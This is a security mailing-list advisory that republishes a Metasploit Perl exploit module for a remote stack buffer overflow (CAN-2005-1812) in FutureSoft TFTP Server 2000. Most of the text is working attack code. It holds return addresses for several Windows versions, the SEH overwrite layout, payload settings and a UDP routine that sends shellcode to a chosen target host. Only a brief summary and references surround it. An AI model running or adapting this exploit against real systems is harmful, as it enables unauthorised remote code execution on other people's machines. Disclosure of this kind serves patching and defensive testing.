[EXPL] FutureSoft TFTP Server 2000 Remote Buffer Overflow Exploit

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  FutureSoft TFTP Server 2000 Remote Buffer Overflow Exploit
------------------------------------------------------------------------


SUMMARY

" <http://www.futuresoft.com/products/lit-tftp2000.htm> TFTP Server 2000 
provides an Internet-standard TFTP (Trivial File Transfer Protocol) server 
on any Windows NT 4.0 PC or server."

A buffer overflow within FutureSoft TFTP Server 2000 allows attackers to 
execute arbitrary code, the following exploit code can be used to test 
your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * FutureSoft TFTP Server Evaluation version 1.0.0.1

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1812> 
CAN-2005-1812

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::futuresoft_tftpd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{

'Name' => 'FutureSoft TFTP Server 2000 Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
'Priv' => 0,

'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 69],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Payload' =>
{
'Space' => 350,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the FutureSoft TFTP Server
2000 product. By sending an overly long transfer-mode string, we were able
to overwrite both the SEH and the saved EIP. A subsequent write-exception
that will occur allows the transferring of execution to our shellcode
via the overwritten SEH. This module has been tested against Windows
2000 Professional and for some reason does not seem to work against
Windows 2000 Server (could not trigger the overflow at all).
}),

'Refs' =>
[
['CVE', '2005-1812'],
['BID', '13821'],
['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
],

'Targets' =>
[
['Windows 2000 Pro English ALL', 0x75022ac4], # ws2help.dll
['Windows XP Pro SP0/SP1 English', 0x71aa32ad], # ws2help.dll
['Windows NT SP5/SP6a English', 0x776a1799], # ws2help.dll
['Windows 2003 Server English', 0x7ffc0638], # PEB return
],
'Keys' => ['tftpd'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, 
@_);
return($self);
}

sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

my $splat = Pex::Text::AlphaNumText(142);

my $sploit =
"\x00\x01". "metasploit.txt". "\x00". $splat.
"\xeb\x06". pack('V', $target->[1]).
$shellcode. "\x00";

$self->PrintLine(sprintf("[*] Trying to exploit target %s w/ return 
0x%.8x",
$target->[0], $target->[1]));

my $s = Msf::Socket::Udp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}

#EoF


ADDITIONAL INFORMATION

The information has been provided by Metasploit.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.